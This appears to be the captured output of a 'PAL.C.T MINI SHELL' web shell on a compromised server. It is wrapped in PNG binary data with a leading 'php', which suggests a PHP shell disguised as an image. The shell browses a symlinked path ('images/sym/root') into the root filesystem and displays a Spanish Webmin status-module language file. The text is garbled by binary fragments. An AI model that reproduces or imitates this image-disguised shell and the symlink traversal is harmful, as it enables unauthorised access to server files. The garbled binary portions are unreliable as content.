php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/usr/libexec/webmin/status/lang/
upload
files >> /var/www/html/sub/images/sym/root/usr/libexec/webmin/status/lang/es.auto

index_refsel=Actualizar seleccionado
index_group=Miembros de $1 
index_tmpls=Editar plantillas de correo electrónico
index_tmplsdesc=Ver y editar plantillas utilizadas para construir mensajes de correo electrónico enviados cuando los servicios monitoreados dejan de funcionar.

type_sslcert=Certificado SSL
type_ftp=Servicio FTP remoto
type_fail2ban=Servidor Fail2Ban
type_du=Tamaño del directorio
type_consume=Consumo de espacio en disco
type_dovecot=Dovecot IMAP/POP3 Server
type_init=Acción de arranque
type_query=Consulta SQL
type_alive=Sistema vivo
type_rssh=SSH remoto
type_slapd=Servidor LDAP
type_ldap=Conexión LDAP

mon_virtualmin=¡Advertencia! Este monitor está asociado con el dominio de Virtualmin $1, por lo que no debe editarse ni eliminarse aquí.
mon_header2=Comandos para ejecutar
mon_header3=Opciones de servicio monitoreadas
mon_remotes2=Ejecutar en hosts y grupos
mon_ontimeout=Si el monitor agota el tiempo de espera, ejecute el comando
mon_eremote2=No se pudo contactar al servidor Webmin $1 : $2 
mon_etype=Nombre de tipo de monitor no válido
mon_notifysms=SMS
mon_empty=No miembros
mon_onemem=Un miembro
mon_members=$1 miembros
mon_enoremote=No hay hosts o grupos para ejecutar en seleccionados
mon_tmpl=Plantilla para mensajes
mon_notmpl=Ninguno (use los valores predeterminados de Webmin)
mon_header4=Historial de estado
mon_hwhen=Comprobar Fecha
mon_hold=Estado antiguo
mon_hnew=Nuevo estado
mon_hvalue=Valor
mon_changes0=Mostrar cada tipo de evento
mon_changes1=Mostrar solo cambios
mon_all=Mostrar todos los eventos históricos
mon_nochanges=No se produjeron cambios de estado en los últimos $1 eventos históricos.

sched_pnone=No envíes paginas
sched_warn3=Mientras el servicio esté activo
sched_eemailserver=Su servidor de correo no está instalado : $1 
sched_sms=Enviar SMS a
sched_smsno=Nadie
sched_smscarrier=Teléfono en el operador
sched_smsnumber=con numero
sched_esmsnumber=Número de SMS faltante o no numérico
sched_esmsname=Número de SMS faltante o de aspecto no válido
sched_subject=Asunto para mensajes SMS
sched_subject0=Ninguno (la alerta está en el cuerpo)
sched_subject1=Texto de alerta (deje el cuerpo vacío)
sched_subject2=Texto personalizado
sched_esubject=Falta el asunto del mensaje SMS

http_regexp=La página debe coincidir con regexp
http_eregexp=No se ingresó ninguna expresión regular para que la página coincida
http_none2=No coinciden
http_ehead=El método de solicitud HEAD no se puede usar al verificar una expresión regular
http_codes=Códigos de estado HTTP aceptables
http_codes_def=Predeterminado ($1)
http_ecodes=No se ingresaron códigos HTTP para aceptar
http_ecodes3=El código HTTP debe ser un número de tres dígitos

ping_timeout=Tiempo de espera después de $1 segundos
ping_resolv=No se pudo resolver el nombre de host

proc_asuser=Ejecutando como usuario
proc_anyuser=Cualquier usuario
proc_easuser=Usuario para que el proceso se ejecute ya que no existe

exec_mode=Verificación del estado de salida
exec_mode0=Monitor de fallas si falla el comando
exec_mode1=No se puede supervisar si el comando tiene éxito
exec_mode2=Ignorar el éxito o el fracaso
exec_regexp=Comparar salida con regexp
exec_noregexp=No verifique
exec_remode=Verificación de expresiones regulares
exec_remode0=Falla si la salida no coincide
exec_remode1=Falla si la salida coincide

file_elarge=Archivos demasiado grandes : $1 
file_esmall=Archivos demasiado pequeños : $1 
file_eowner=Archivos con propietario incorrecto : $1 
file_egroup=Archivos con grupo incorrecto : $1 
file_owner=El propietario del archivo debe ser
file_group=El grupo de archivos debe ser
file_nocheck=Cualquier cosa
file_perms=Los permisos octales deben ser
file_eperm=Archivos con permisos incorrectos : $1 

space_mode0=Tamaño absoluto
space_mode1=Porcentaje del total
space_epc=Porcentaje de espacio libre faltante o no válido
space_inode=Inodos mínimos libres
space_ierr=Solo $1 inodes libre
space_merr=Solo $1 espacio libre
space_perr=Solo $1% gratis
space_dferr=Error al obtener el tamaño del sistema de archivos

log_tmpl_create=Plantilla de correo electrónico creada $1 
log_tmpl_modify=Plantilla de correo electrónico modificada $1 
log_tmpl_delete=Plantilla de correo electrónico eliminada $1 
log_tmpl_deletes=Plantillas de correo electrónico $1 eliminadas
log_refresh=Estados de monitor actualizados

memory_freeswap=$1 memoria virtual libre
memory_freelow=Solo $1 memoria real libre
memory_freelowswap=Solo $1 memoria virtual libre
memory_minswap=Memoria virtual libre mínima
memory_eminswap=Falta o no es válida la cantidad de memoria virtual libre

init_action=Acción para verificar
init_eaction=Ninguna acción seleccionada

refresh_doing2=Actualización del estado de $1 monitores seleccionados.

nut_eups=No hay USP para verificar ingresado

monitor_sub_isup=$1 hasta $2 
monitor_pager_isup=$1 : "$2" ha subido $3 
monitor_snmp_isup=$1:$2 
monitor_email_isup=El monitor en $1 para '$2' ha detectado que el servicio está activo en $3 
monitor_runerr=Error al ejecutar $1 en $2 : $3 
monitor_email_stat=Estado actual: $1 

deletes_enone=No hay monitores seleccionados

ftp_host=Servidor FTP host
ftp_port=Puerto FTP
ftp_user=Inicie sesión como usuario
ftp_anon=Anónimo
ftp_pass=Con contraseña
ftp_file=Archivo para buscar
ftp_none=Ninguno (solo inicie sesión)
ftp_ehost=Host de servidor FTP faltante o no válido
ftp_eport=Puerto de servidor FTP faltante o no válido
ftp_efile=Falta el archivo o no es válido para descargar
ftp_tls=¿Utiliza el cifrado TLS?
ftp_etls=TLS no se puede habilitar a menos que esté instalado el módulo $1 Perl
ftp_econn=Conexión FTP TLS fallida
ftp_econn2=Conexión FTP TLS fallida : $1 
ftp_elogin=Error de inicio de sesión de TLS FTP : $1 
ftp_etlsfile=Error de descarga de TLS FTP : $1 

query_driver=Tipo de base de datos SQL
query_db=Nombre de la base de datos
query_host=Servidor de base de datos host
query_local=Este servidor
query_user=Inicie sesión como usuario
query_pass=Iniciar sesión con contraseña
query_sql=Consulta SQL para ejecutar
query_result=Resultado Esperado
query_ignore=Ignorar resultado
query_edriver=El módulo del controlador Perl $1 no está instalado
query_edb=Nombre de base de datos faltante o no válido
query_ehost=Nombre de host del servidor de bases de datos faltante o no válido
query_euser=Nombre de usuario no válido
query_epass=Contraseña invalida
query_esql=Falta la consulta SQL
query_eresult=Falta el resultado esperado
query_elogin=Error de inicio de sesión : $1 
query_eprepare=Error de SQL : $1 
query_eexecute=Error de SQL : $1 
query_ewrong=Resultado incorrecto : $1 

consume_rate=Máxima tasa de consumo (por segundo)
consume_high=La tasa de consumo es $1 / segundo

alive_up=Subir para $1 

rssh_host=Servidor host SSH
rssh_ruser=Inicie sesión como usuario
rssh_rpass=Iniciar sesión con contraseña
rssh_nopass=Ninguno requerido
rssh_nologin=No intentes iniciar sesión
rssh_ehost=Servidor SSH faltante o inválido
rssh_eruser=Falta nombre de usuario
rssh_ecmd=El comando <tt>ssh</tt> no está instalado en su sistema
rssh_eproc=El módulo Procesos en ejecución no es compatible con su sistema
rssh_wrongpass=Inicio de sesión incorrecto
rssh_failed=La conexión falló
rssh_error=Error de SSH
rssh_haspass=Contraseña
rssh_port=Puerto del servidor SSH
rssh_eport=Número de puerto faltante o no válido

tmpls_title=Plantillas de correo electrónico
tmpls_ecannot=No tienes permiso para editar plantillas de correo electrónico
tmpls_none=Aún no se han definido plantillas de correo electrónico. Todas las alertas se enviarán utilizando los mensajes predeterminados de Webmin.
tmpls_desc=Descripción
tmpls_email=Mensaje de correo electrónico
tmpls_add=Agregue una nueva plantilla de correo electrónico.
tmpls_return=lista de plantillas
tmpls_delete=Eliminar plantillas seleccionadas

tmpl_title1=Crear plantilla de correo electrónico
tmpl_title2=Editar plantilla de correo electrónico
tmpl_header=Alertar mensajes de plantilla de correo electrónico
tmpl_desc=Descripción de la plantilla
tmpl_email=Mensaje de correo electrónico
tmpl_sms=Mensaje SMS
tmpl_sms1=Webmin por defecto
tmpl_sms0=Mensaje personalizado a continuación. ..
tmpl_snmp=Mensaje de buscapersonas
tmpl_instr=Instrucciones y sustituciones
tmpl_subs=Los mensajes de correo electrónico, SMS y buscapersonas definidos en esta página pueden usar las siguientes sustituciones :
tmpl_subs_desc=Descripción del servicio
tmpl_subs_host=Host siendo monitoreado
tmpl_subs_date=Fecha actual
tmpl_subs_time=Tiempo actual
tmpl_subs_status=Estado del servicio, como <i>Abajo</i>
tmpl_subs2=Además, puede usar bloques condicionales como: <tt>$1 El servicio está inactivo $2 El servicio está bien $3</tt>
tmpl_err=Error al guardar la plantilla de correo electrónico
tmpl_edesc=Falta la descripción de la plantilla
tmpl_emsg=Mensaje de correo electrónico perdido
tmpl_esms=Mensaje SMS perdido
tmpl_esnmp=Falta el mensaje SNMP
tmpl_err2=Error al eliminar la plantilla de correo electrónico
tmpl_eusers=Está en uso por los siguientes monitores : $1 

dtmpls_err=Error al eliminar plantillas
dtmpls_enone=Ninguna seleccionada
dtmpls_eusers=$1 está en uso por los siguientes monitores : $2 

sslcert_src=Ubicación del certificado
sslcert_url=Desde la URL HTTPS
sslcert_file=Del archivo en el servidor
sslcert_eurl=URL faltante, no válida o no SSL
sslcert_efile=Archivo de certificado faltante o no válido
sslcert_ecert=No se pudo obtener el certificado
sslcert_edown=El servidor web está inactivo
sslcert_days=Días antes del vencimiento para fallar
sslcert_when=Cuando expiró
sslcert_mismatch=¿También detecta una falta de coincidencia del nombre de host?
sslcert_edays=Número de días faltante o inválido
sslcert_eopenssl=El comando <tt>openssl</tt> es necesario para verificar los certificados
sslcert_estart=No válido hasta $1 
sslcert_eend=No válido después de $1 
sslcert_left=Hasta - $1 días hasta el vencimiento
sslcert_ematch=El nombre de host $1 no coincide con el certificado $2 
sslcert_emismatch=La verificación del nombre de host del certificado solo se puede usar cuando se verifica una URL

du_dir=Directorio para monitorear
du_max=Talla máxima
du_edir=Ruta de directorio faltante o no absoluta
du_emax=Tamaño máximo faltante o no numérico
du_over=El tamaño es $1 
du_under=El tamaño es solo $1 

ldap_edriver=El módulo Perl $1 no está instalado
ldap_host=Nombre de host del servidor LDAP
ldap_port=Puerto del servidor LDAP
ldap_ssl=¿Usar conexión SSL?
ldap_user=Inicio de sesión en el servidor LDAP
ldap_pass=Contraseña del servidor LDAP

info_desc=Monitor del sistema
info_last=Estado actual
info_title=Sistema y estado del servidor
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`